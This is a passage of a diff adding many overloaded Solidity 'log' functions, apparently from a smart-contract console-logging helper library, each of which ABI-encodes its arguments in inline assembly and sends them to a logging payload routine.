+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,string,bool)`.
+            mstore(0x00, 0x1e4b87e5)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(bool,string,string,uint256)`.
+            mstore(0x00, 0x7be0c3eb)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bool p0, bytes32 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(bool,string,string,string)`.
+            mstore(0x00, 0x1762e32a)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(uint256 p0, address p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,address,address)`.
+            mstore(0x00, 0x2488b414)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,address,bool)`.
+            mstore(0x00, 0x091ffaf5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,address,uint256)`.
+            mstore(0x00, 0x736efbb6)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,address,string)`.
+            mstore(0x00, 0x031c6f73)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,bool,address)`.
+            mstore(0x00, 0xef72c513)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,bool,bool)`.
+            mstore(0x00, 0xe351140f)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,bool,uint256)`.
+            mstore(0x00, 0x5abd992a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,bool,string)`.
+            mstore(0x00, 0x90fb06aa)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,uint256,address)`.
+            mstore(0x00, 0x15c127b5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,uint256,bool)`.
+            mstore(0x00, 0x5f743a7c)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,address,uint256,uint256)`.
+            mstore(0x00, 0x0c9cd9c1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, address p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,uint256,string)`.
+            mstore(0x00, 0xddb06521)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,string,address)`.
+            mstore(0x00, 0x9cba8fff)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,string,bool)`.
+            mstore(0x00, 0xcc32ab07)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,address,string,uint256)`.
+            mstore(0x00, 0x46826b5d)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, p3)
+            writeString(0xa0, p2)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, address p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,address,string,string)`.
+            mstore(0x00, 0x3e128ca3)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, 0x80)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p2)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bool p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,address,address)`.
+            mstore(0x00, 0xa1ef4cbb)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,address,bool)`.
+            mstore(0x00, 0x454d54a5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,address,uint256)`.
+            mstore(0x00, 0x078287f5)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,address,string)`.
+            mstore(0x00, 0xade052c7)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,bool,address)`.
+            mstore(0x00, 0x69640b59)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,bool,bool)`.
+            mstore(0x00, 0xb6f577a1)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,bool,uint256)`.
+            mstore(0x00, 0x7464ce23)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,bool,bool,string)`.
+            mstore(0x00, 0xdddb9561)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0x80)
+            writeString(0xa0, p3)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,uint256,address)`.
+            mstore(0x00, 0x88cb6041)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            // Selector of `log(uint256,bool,uint256,bool)`.
+            mstore(0x00, 0x91a02e2a)
+            mstore(0x20, p0)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+        }
+        _sendLogPayload(0x1c, 0x84);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+        }
+    }
+
+    function log(uint256 p0, bool p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        assembly {
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
